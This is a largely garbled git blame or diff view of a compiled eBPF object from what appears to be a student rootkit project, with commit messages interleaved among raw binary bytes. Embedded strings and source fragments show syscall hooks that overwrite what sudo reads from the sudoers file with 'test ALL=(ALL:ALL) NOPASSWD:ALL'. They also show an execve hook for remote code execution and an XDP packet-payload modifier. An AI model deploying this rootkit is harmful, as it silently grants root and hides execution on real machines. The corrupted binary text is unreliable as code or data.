><><00><01><00>E<EFBFBD><45><00><01>H<>E<EFBFBD>H<EFBFBD><00><00><00>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>@H<><48><EFBFBD><00><00>H<>5<EFBFBD><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD>}<7D>u)<29>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<><48><EFBFBD><00>H<>=<00><00>@H<>=<00><00>#H<>E<EFBFBD><45>dH<><48><EFBFBD><00>E<EFBFBD><45>}<7D><>u	<09>E<EFBFBD><00><0F><00><><01><>uϐH<CF90>E<EFBFBD>H<EFBFBD><48><EFBFBD><00>}<7D>t<07><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05><00><>kit_bpfrb_commfs_openkit_bpf.rodatahandle_sched_process_exectp_sys_enter_readtp_sys_exit_readtp_sys_enter_openattp_sys_enter_execvexdp_receiveELF<00>H<>@@<00><00><00>U<00><00>$yy<00>{
-												Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there

											
										
										
											2022-02-05 14:10:12 -05:00
+								<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>y{<1A><>y{<1A><>y0{<1A><>y({<1A><>y {<1A><>y{<1A><>y{<1A><>cz<63><7A>{j<><6A><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00><00><00><00><00>{
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00><00>	<00><><EFBFBD><EFBFBD><07>yv<06>ar<00>enk<1A><>now hidd{<1A><>That is {<1A><><00>s<><73><EFBFBD>s<><73><EFBFBD>k<><6B><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD><00>#k<1A><>SWD:ALL {<1A><>L) NOPAS{<1A><>=(ALL:AL{<1A><>test ALL{<1A><>aq0<01>{*<2A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>c<00>p	<00><><EFBFBD><EFBFBD>m<08>q<><71><EFBFBD>T<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>h<00><00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>i<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01> <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>w<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m<01>q<><71><EFBFBD>U<01>o<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>U}n<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>muq<><71><EFBFBD>Us'<00>c	<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mkq<><71><EFBFBD>Uit<00>c
 								<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>maq<><71><EFBFBD>U_ <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mWq<><71><EFBFBD>UUb<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mMq<><71><EFBFBD>UKe<00>c
<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mCq<><71><EFBFBD>UA <00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m9q<><71><EFBFBD>U7s<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m/q<><71><EFBFBD>U-e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>m%q<><71><EFBFBD>U#e<00>c<00><><00><><EFBFBD><EFBFBD><EFBFBD><00>p<00>mq<><71><EFBFBD>Un<00><00>y<><79><EFBFBD><00>d<00><00>s <00><00><00><00><00><00>s<00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00><00>$<00>	m	<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00>!<00>$e<00><><EFBFBD><EFBFBD><00><00><00><00><00><00><00>	<00><><00><00><00><00><><00><00><00>{z<><7A><00>	{<7B><><EFBFBD>{<7B><><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><EFBFBD>g <00> m	)s<><73><EFBFBD>c<><63><EFBFBD>{<7B><><EFBFBD>y<><00><><00><><EFBFBD><EFBFBD><EFBFBD>a<00>
<00>p{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>{<7B><><EFBFBD>w cz<63><7A><00><><00><><EFBFBD><EFBFBD><EFBFBD>
<00>c<00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00>q<><71><EFBFBD>s<00>cj<63><6A><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00><00>`<00>q<><71><EFBFBD>U<01><>uq<><71><EFBFBD>U<01><>dq<><71><EFBFBD>U<01><>oq<><71><EFBFBD>U<01><>q<><71><EFBFBD>/<00><>q<><71><EFBFBD>U<01><>eq<><71><EFBFBD>U<01><>tq<><71><EFBFBD>U<01><>cq<><71><EFBFBD>U<01><>/q<><71><EFBFBD>U<01><>sq<><71><EFBFBD>U<01><>uq<><71><EFBFBD>U<01><>dq<><71><EFBFBD>U<01><>oq<><71><EFBFBD>U<01><>eq<><71><EFBFBD>U<01><>rq<><71><EFBFBD>U<01><>sq<><71><EFBFBD>U<01><><00>c<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><00><00><00><00><00><><00><00><00>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{<1A><>{x<>{p<>{h<>{`<60><00><><EFBFBD><EFBFBD><06>yc<03><00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>'<00><00>yc<00><>`<60><><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD>8<00><00>y<><79><EFBFBD>I<00><00>y<><79><EFBFBD>T<00><00>y<><79><EFBFBD>_<00><00><00><>`<60><><EFBFBD>j<00><00>x<00><00><00>s<>_<EFBFBD>s<>^<5E><00>ks]<5D><00>as[<5B><00>jsZ<><00>isY<><00>_sW<><00>vsU<><00>psL<><00>lsK<><00>cs\<5C>sT<>sG<><00>rsN<>sF<><00>GsC<><00>FsB<><00>TsA<><00>xsR<>s=<3D><00>bs;<3B><00>ssO<>sE<>s?<3F>s:<3A><00>esV<>sS<>sQ<>sM<>sJ<>s><3E>s7<><00>ms6<><00>os<<3C>s9<>s5<><00>hsX<>sI<>s4<><00>/sP<>sH<>sD<>s@<40>s8<>s3<><00><>3<><33><EFBFBD><00><00><00>s<00>ya<00>r<00>-<00>$e<00><><EFBFBD><EFBFBD><00><00>!<00><00><00><><EFBFBD><EFBFBD>{<7B>(<28>{<7B> <20>{<7B><18>{<7B><10>{<7B><08>{<7B><00>{<7B><><EFBFBD>{<7B><><EFBFBD>yc<00><><00><><EFBFBD><EFBFBD><EFBFBD>@<00>pe<00><><EFBFBD><EFBFBD><00><00><00><00><><00><><EFBFBD><EFBFBD><00><00><00><00><00><00>aeag<00>y	=<3D><00><00>x"=<3D>q<>	U<00>q6=<00><00><00><00>i<>#(i<><00><00><00><00><>i<><00>i<>wW<q<>gW<#<00><>	$<00><00><00><><00>A	=;<00><>{Z<><5A>=<00>6<00>C{J<><4A><00>	<00>y<><79><EFBFBD>qAXs<00><>qAU<01><>DqAU<01><>PqAU<01><>_qAU<01><>PqAU<01><>oqAU<01><>CqAU<01><>_qAU<01><>0
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								girO!irk*<2A><>c<1A><>iqgirO!irisgO#g O{:<3A><>a<>g a<>O!a<>c*<2A><>{<1A><>a<>a<>g O{*<2A><>a<>g a<>O!a<>c*<2A><>{<1A><>a<>a<>g O{*<2A><><00>a<00><00>A
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00><00>4<00><00><00><><EFBFBD><EFBFBD>{<1A><><00>ab<00>)	"aa{*<2A><>{*<2A><>=!		=<3D>/y<><79><EFBFBD>6=!VU<00>&<00><00><><EFBFBD><EFBFBD>{<1A><><00><00><00>Gy<><79><EFBFBD><00><00>	aa{<1A><>ahy<><79><EFBFBD>= <00><00><00>&<00>y<><79><EFBFBD>{z<><7A>y<><79><EFBFBD>y<><79><EFBFBD>s<00><>y<><79><EFBFBD><00>)<00><<00><00><><00><><00>ac[<00>*<00><><00>;<3B>y<><79><EFBFBD>=<00><00><>='<00>y<><79><EFBFBD>i#<00>i<>wW<q"gW<#{:<3A><><00>2g w <00>9[-#fM<00><19>i<><69><EFBFBD>y<><79><EFBFBD>ka<><61><EFBFBD>kwk
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								y<><79><EFBFBD><00>w0k#<00>w k#kwka<><61><EFBFBD>y<><79><EFBFBD>cy<><79><EFBFBD>cw cy<><79><EFBFBD>cw ca<><61><EFBFBD>cy<><79><EFBFBD>cw cy<><79><EFBFBD>cw ci<>
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								i<>{<00><00>i<><00><00>k<00><00>{<1A><>k(
 								<00><00>*<00><00><><00><00><00><00><00><><00><00><00><00>wW<00><>W<00><><00>wW<00><>W<00><><00>wW<00><>W<00><><00>w<00><00><><EFBFBD><EFBFBD>y<EFBFBD><79><EFBFBD>k
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								i#i$
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00><00><00><00>P<><00><>'=lwy<><79><EFBFBD>g w <00><>-<2D>o<00>s&s%s$s#s"s!s sssssssssssssssssss
sss
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								s	sssssssss<00>'y<><79><EFBFBD>m!H<00><>'-<2D>Ey<><79><EFBFBD><00><><EFBFBD><EFBFBD>g w !-<2D>B<00>)s&<00>;s%<00>ds!s <00>ns#s<00>bs<00>gs<00>ass<00>ms
<00>sssss<00>us
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<00>os	<00>iss<00>vs<00>rs<00>ps<00> s$sssss<00>es"ssssss<00>hsss<00>Ts<00><00>&7<><00><00>-<00><00><00>5y<><79><EFBFBD><00><>y<><79><EFBFBD><00><00><>Error
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								Bound check fail ABDE %i
 								F, PS:%i, P:%i, DE:%i
 								GReceived valid TCP packet with payload %s of size %i
 								HOLD data_end: %i, payload: %i
 								Control back to main program with retcode %i after expanding %i bytes
 								Bound check A failed while expanding
 								Bound check B failed while expanding
 								Bound check D failed while expanding
 								Unlikely you are here, but OK
 								Bound check E failed while expanding
 								Bound check F failed while expanding
 								BPF finished with ret %i and payload %s of size %i
 								 BPF finished with error on expansion
 								Previous length: %i, current length: %i
 								NEW data_end: %i, payload: %i
 								And on NEW CTX data_end: %i, payload: %i
-												Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there

											
										
										
											2022-02-05 14:10:12 -05:00
+								Error writing to user memory
 								Sudo overwritten
 								Overwritting at pid %u, %s
 								Filename is %s
 								and program name is %s
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
+								Error writing to user memory
 								It was a sudo!
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								Error reading 1
 								Error reading 3
 								ARGV0: %s
 								ARGV1: %s
 								ARGV2: %s
 								FILENAME: %s
 								Our file!
 								To write: %s
 								Error writing to user memory %i
 								Error reading 3
 								NEW FILENAME: %s
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								Failed to expand a tcp packet reserved bytes by %i
 								Bound check A failed while expanding
 								Bound check B failed while expanding
 								Bound check C failed while expanding
 								before: %i, checksum %u
 								after: %i, checksum %u
 								csum: %u for data_start %u, data_size %i
 								Invalid attempt to substitute the payload A
 								Invalid attempt to substitute the payload C
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								Dual BSD/GPLThat is now hiddentest ALL=(ALL:ALL) NOPASSWD:ALL #<00><><00><00>S+  %*@6
 								>D@[8hl@o`s<00><00><00><00><00><01><00> <00> %	*@<00>
<00><00><00><00><00><00><00>@o`<00><00><00>!<00>%o %4BF L
[_"%<00>(@%`l&<00>h<00>-'3@E&
[$L(+g@y,<00>}@
[*<00>-0`(@%`u<00><00><00>y1 ~
[/<00>25<00>(@%`<00><00><00>6<00><00>67
 
 [4<00>:=krw <00>@<00>`<00><00><00><00>
[<<00>><00><00><00>A<04>A<04>A<00>B<00>B <00>B0<00>A@<00>AH<00>DPE`	E<00>C!C)<00><00><00>BBE
 								E@C`CdCh Ci$Cj(Ck,Cl0Cm4Cn8Co<Bp<00>D<00>CB<00>9<00>%G
<00>%I9<00>%K9<00>%M<00>%M9<00>%P9
&R#&M969&UO&M9e&X9G{&Z9&<00>&\<00>&\<00>&\<00>&X<00>&\'\95'c2'\9)I'f`'X9*w'i9<00>'k9<00>'m9<00>'o9<00>'q9(s:(k](q9<00>(w<00>(w9<00>(z<00>(z)z9;)~a)z<00>)~9!<00>)<0E><00>)w<00>)m94*<0E>A*\f*\<00>*\9<00>*<0E><00>*s<00>*i9-+<0E>#+<0E>=+ C+1HLNOQS$T;V=6WsYu[<00>G]<00>&^&_'&`Mal&b<00>&d<00>5e<00>&g)h<j[*l<00>n<00>p<00>r<00>t<00>u<00>vx'y8{I|T}_j<00>x<00><00><00><00>!<00><00><00><00><00><00>4<00>	&<00>/&<00>U&<00>{<00><00><00><00>*<00><00>-<00>-K+J
int__ARRAY_SIZE_TYPE__ring_buffertypemax_entriesrb_comm__u64long long unsigned intfs_open_databuffdpidprogram_namefilenameis_sudochar__u32unsigned intfs_openkeyvaluetrace_event_raw_sched_process_execent__data_loc_filenameold_pid__datatrace_entryflagspreempt_countunsigned shortunsigned charu32pid_t__kernel_pid_tctxhandle_sched_process_exectp/sched/sched_process_exec/home/osboxes/TFG/src/ebpf/include/bpf/sched.h	pid_t pid = bpf_get_current_pid_tgid() >> 32;	return 0;sys_read_enter_ctxunused__syscall_nrpaddingcountlong unsigned intsize_ttp_sys_enter_readtp/syscalls/sys_enter_read/home/osboxes/TFG/src/ebpf/include/bpf/fs.h    if (ctx == NULL){        bpf_printk("Error\n");    char *buf = (char*) ctx->buf;     int fd = (int) ctx->fd;     __u64 pid_tgid = bpf_get_current_pid_tgid();    struct fs_open_data *stored_data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);    if (stored_data == NULL){    struct fs_open_data data = *stored_data;    data.fd = fd;    data.buf = buf;    bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_EXIST);} sys_read_exit_ctxretlong inttp_sys_exit_readtp/syscalls/sys_exit_read    struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);    if (data == NULL || data->buf == NULL){    __u32 pid = data->pid;    char msg_overwrite[] = STRING_FS_OVERWRITE;    char c_buf[sizeof(msg_overwrite)] = {0};    char sudo_line_overwrite[] = STRING_FS_SUDOERS_ENTRY;    if(data->is_sudo==1){        if(bpf_probe_read_user(c_buf+ii, 1, buf+ii)<0){    bpf_printk("Overwritting at pid %u, %s\n", pid, buf);    bpf_printk("Filename is %s\n", data->filename);    bpf_printk("and program name is %s\n", data->program_name);    if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1
-												Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there

											
										
										
											2022-02-05 14:10:12 -05:00
+								p<00>y<00>
 								t<00>y<00>
 								|Py<00><0E>Xy<00><08>pyxy
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<0C><00>y
 								<0C><00>y
 <><00>y
 								%<25><00>y
 								<0C><00>y
 								<0C>y
 <>(y
 								%<25>8y
 								<0C>Py
 								<0C>hy
 <>xy
 								%<25><00>y
 								<0C><00>y
 								<0C><00>y
 <><00>y
 								%<25><00>y
 								<0C><00>y
 								<0C>y
 <>y
 								%<25>(y
 								<0C>@y
 								<0C>Xy
 <>hy
 								%<25>xy
 								<0C><00>y
 								<0C><00>y
 <><00>y
 								%<25><00>y
 								<0C><00>y
 								<0C><00>y
 <>y
 								%<25>y
 								<0C>0y
 								<0C>Hy
 <>Xy
 								%<25>hy
 								<0C><00>y
 								<0C><00>y
 <><00>y
 								%<25><00>y
 								<0C><00>y
 								<0C><00>y
 <><00>y
 								%<25>y
 								<0C> y
 								<0C>8y
 <>Hy
 								%<25>Xy
 								<0C>py
 								<0C><00>y
 <><00>y
 								%<25><00>y
 								<0C><00>y
 								<0C><00>y
 <><00>y
 								%<25><00>y
 								<0C>y
 								<0C>(y
 <>8y
 								%<25>Hy
 								<0C>`y
 								<0C>xy
 <><00>y
 								%<25><00>y
 								<0C><00>y
 								<0C><00>y
 <><00>y
 								%<25><00>y
 								<0C>y
 								<0C>yBHy|xy<00><00>y<00>y<00><00>y<00><00>yR<01><00>yT<0C>yT<0C> y<00>
<0A>@y	<09>py*	 <00>;y<00><00>y<16>(y<00>
 								@@yHy	DxyN	d<00>y_
 								t<00>y<00>	Lx<00>y_
 								t<00>y<00>	x<00>y<00>	<19>y
 								<1A>y<00>	 <20>y<00>	<19> y+
 								<05>8y<00>	<19>Py_
 								tXyt
 								<05>h<00>
 								<00>
 pp<00>
 								<00>
 p<00>y<00>yR<01><00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00>
 								<00>
 p<00>
 								<00>
 p<00>
 								<00>
 p<00>
 								<00>
 p <00>
 								<00>
 p0<00>
 								<00>
 p8<00>
 								<00>
 p@<00>
 								<00>
 pH<00>
 								<00>
 pP<00>
 								<00>
 pX<00>
 								<00>
 p`<00>
 								<00>
 ph<00>
 								<00>
 pp<00>
 								<00>
 px<00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00>y<12>(y4<05>Hyr<05><00>#<00>x<00>|<00>P<14>x<00><00><13><00><00><00><12><00><00><00><1A><00><00><00><08><00><00><00><08><00><00><08><00>%
	<09>(<00>N
=<3D>@<00>N
<08>P<00>N
<08>X<00><00>
	<09>x<00><00>
<05><00><00><00>
<05><00><00><05><00><00><00>
<05><00>9<05> <00>e<05>H<00><00> `<00><00>
<05>h<00><00>,<00><00><00>24<00><00><00>4<00><00>h8<00><00>w	<<00><00><00>L8<00><00>@PH<00><00>LP<00><00>P`<00><00>Ph<00><00>
	T<00><00>8\<00><00>R<01><00><00><00><00><00><00>)<29><00>Q%<25>{<00>0(<00><00>0<00>%	P{OL`<00>}	$h<00><00>	(<00>{4<10><00><00>N	8<00>{zh<00><00><00>	P<00><00><00>	T<00><00><00><00>R`<00>K<00>4<00><00><00>	d<00><00><00>	h <00> x0<00> 3x8<00> 8xH<00> +xP<00> DxX<00> Hxh<00> =xp<00>q|<00><00><00>	<09><00><00><00>	<09><00>{%<18><00><00>X	<09><00><00><00>	<09><00><00><00><05>(<00>
 								<00>
 p0<00>
 								<00>
 p8<00>	<09>P<00>
 								<00>
 pX<00>
 								<00>
 p`<00>
 								<00>
 ph<00>
 								<00>
 pp<00>
 								<00>
 px<00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>
 								<00>
 p<00><00>.<05><00>t<00><05><00>t<00><05><00>t<05>Ht\	<09>`t\	<09>ht<00>	<09><00>t<00>!<21><00>t!<1E><00>tV(<28><00>t<00><1E><00>t<00><08><00>t<00>	<09>t5	ti	0{zh@t<00>	 Ht<00>	$Xt<00><00><05><00><00><00><08><00><00><00>)<29><00><00><00>-<2D><00>{<00>0<00><00><0C><00><00>?
<00><00>	<09>(<00>P<00><00><1D>h<00><00><00><00>=<00><00><00><00>{OL<00><00>
<00>

 {zh0<00>O
@8<00><00>
DX<00><00>Th<00><00>7Tp<00><00><T<00><00><00>/T<00><00><00>HT<00><00><00>LT<00><00><00>AT<00><00>h<00><00>I
l<00>t<00>D<00>t<00>H<00>t L(	tP \X	t<00> `x	t<00> `<00>	t<00> h<00>	<00> =!<05><00>	<00> <00>!
 								<00> <00>!<12>
 								<00> <00>!
<0A>8
 								<00> <00>!<12>P
 								<00> <00>!
<0A>h
 								<00> <00>!<12><00>
 								<00> <00>!
<0A><00>
 								<00> <00>!<12><00>
 								<00> <00>!
<0A><00>
 								t<00>!p<00>
 								t<00>!p<00>
 								t"t<00><00>T"><3E> <00>T"<0C>(<00><00>"
<0A>@{%<18>h<00><00>"
<0A>x<00>*#<19><00>tJ#$<24><00>t<00>#9<>
t<00>#*<2A>
t<00>#<08>
t4$<19><00><00>[$
<0A><00><00>t<00>$	<09> t<00>$	<09>0t@<00>'%	<09><00>==M<00>@0<00>F<00>F @0FmP@M<00>=M<00>=<00>=M<00>=<00>=X@hFm<00>@M(	@L 0	@X	@x	@<00>	@L <00>
 								@L <00>
 								@<00>
 								@L <00>0$P<00>X<00>p<00>;<00>z<00>x@<00><00>\<00><00><00><00>x<00>0<00><00><00><00>(<00>x<00><00><00><00> <00><00>T<00><00>8<PzP4<00>E<00>0hX<00><00>h@<00><00><00> 3P<00><00><00>8
 								h
 								<00><00>
 								<00><00>@<00>R<00><00><00> +0<00>@q<00><00><00>a<00><00><00>4 	&Z/&<00>U&<00>{C<00>]'<00>8MIT<00>_j<00>x<00><00>!<00>p<00><00><00><00><00>*<00>p<00><00><00>1<00>7<00>*<00><00>-<00>-<00>I<00><00><00>&<00>&%'&MM<00>l&<00><00>&<00><00>5D<00>&<00>)<s<<00>[*d<00>$;d=6<00>s[u<00><00>GY	
.
 
 								e<00><00>p<00>h<00><00>Y<00>k`m0m mkXk<00>k k@kpk<00>m(mHkkXk<00>k<00>k<00>kk khk<00>khk<00>k0khk<00>k<00>k<00>k<00>k<00>k8k<00>khk<00>kkHk<00>k<00>kkhk<00>k<00>kk8k<00>k8	k<00>	k<00>
 								k(k<00>kk k@k(
o4
mL
 								kX
 								kd
 								kp
 								k|
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k
 								k
 								k
 								k$
 								k0
 								k<
 								kH
 								kT
 								k`
 								kl
 								kx
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k<00>
 								k
 								k
 								k
 								k,
 								k8
 								kD
 								kP
 								k\
 								kh
 								kt
 								k<00>
 								k<00>
 								k<00>l,e<fLg\hli|j<00>e<00>e<00>f<00>f<00>f<00>f<00>fff(f8fHfXfhfxf<00>f<00>f<00>g<00>g<00>g<00>g<00>ggg g0g@gPg`gpg<00>g<00>g<00>g<00>g<00>g<00>g<00>g<00>ggg g0g@gPg`gpg<00>g<00>g<00>g<00>g<00>g<00>g<00>g<00>ggg g0g@gPg`gpg<00>g<00>g<00>g<00>g<00>g<00>g<00>g<00>ggg g0g@gPg`gpg<00>g<00>g<00>g<00>g<00>g<00>g<00>g<00>ggg g0g@gPg`gpg<00>g<00>g<00>g<00>g<00>g<00>g<00>g<00>ggg g0g@gPg`gpg<00>g<00>g<00>h<00>h<00>h<00>h<00>h<00>hhh(h8hHhXhhhxh<00>h<00>h<00>h<00>h<00>h<00>h<00>h<00>h	h	h(	h8	hH	hX	hh	hx	h<00>	h<00>	h<00>	h<00>	h<00>	h<00>	h<00>	h<00>	h
 								h
 								h(
 								h8
 								hH
 								hX
 								hh
 								hx
 								h<00>
 								h<00>
 								h<00>
 								h<00>
 								h<00>
 								h<00>
 								h<00>
 								h<00>
 								hhh(h8hHh`ipi<00>i<00>i<00>i<00>i<00>i<00>i<00>i<00>iii i0i@iPi`ipi<00>i<00>i<00>i<00>i<00>i<00>i<00>i<00>i
i
i 
i0
i@
iP
i`
ip
i<00>
i<00>
j<00>
j<00>
j<00>
j<00>
j<00>
j<00>
jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj(j8jHjXjhjxj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj4jDjTjdjtj<00>j<00>j<00>j<00>j<00>j<00>j<00>j<00>jjj$j4jDjTjdjtj<00>j<00>j<00>juyzxw{PsQR\_`abcdeSTUVWXYZ[]^vtGHIJKLF;<=>?@ABCDE56789:MNO.text.rel.BTF.exthandle_tp_sys_enter_openat.____fmtipv4_csum.____fmtxdp_receive.____fmthandle_tp_sys_enter_execve.____fmtmodify_payload.____fmtexpand_tcp_packet_payload.____fmthandle_tp_sys_exit_read.____fmttp_sys_enter_read.____fmttp_sys_enter_openat.reltp/syscalls/sys_enter_openat.mapsfs_openrb_comm.relxdp_prog.llvm_addrsigxdp_receivetp_sys_enter_execve.reltp/syscalls/sys_enter_execvelicensetp_sys_exit_read.reltp/syscalls/sys_exit_readtp_sys_enter_read.reltp/syscalls/sys_enter_readhandle_sched_process_exectp/sched/sched_process_exec.strtab.symtab.rodata.rel.BTFLICENSELBB5_9LBB5_39handle_tp_sys_enter_execve.____fmt.39handle_tp_sys_enter_execve.____fmt.29xdp_receive.____fmt.19xdp_receive.____fmt.9LBB5_8LBB4_8LBB2_8LBB5_48LBB5_38handle_tp_sys_enter_execv
 								p}<00>
<00>B<00><00>H#0<00>@(
(P(0<00>2<00>(5T<00>(<00>:<00>c<00>@h{<00>
 								l<00>	`<60>0<00>	<00><>p	<00>0y	0<><00>>	<00><><00>P	<00><>@	<00>P
KL<>o<00>P<>:8<00><><00>
-												Updated file names and directory structure to the new multi-modules rootkit

											
										
										
											2022-01-16 06:56:54 -05:00
+								Usage: %s ./kit OPTION
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
 								Program OPTIONs-t[NETWORK INTERFACE]Activate XDP filter	%-40s %-50s
-												Updated file names and directory structure to the new multi-modules rootkit

											
										
										
											2022-01-16 06:56:54 -05:00
+								-vVerbose mode-hPrint this helpFailed to increase RLIMIT_MEMLOCK limit!
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
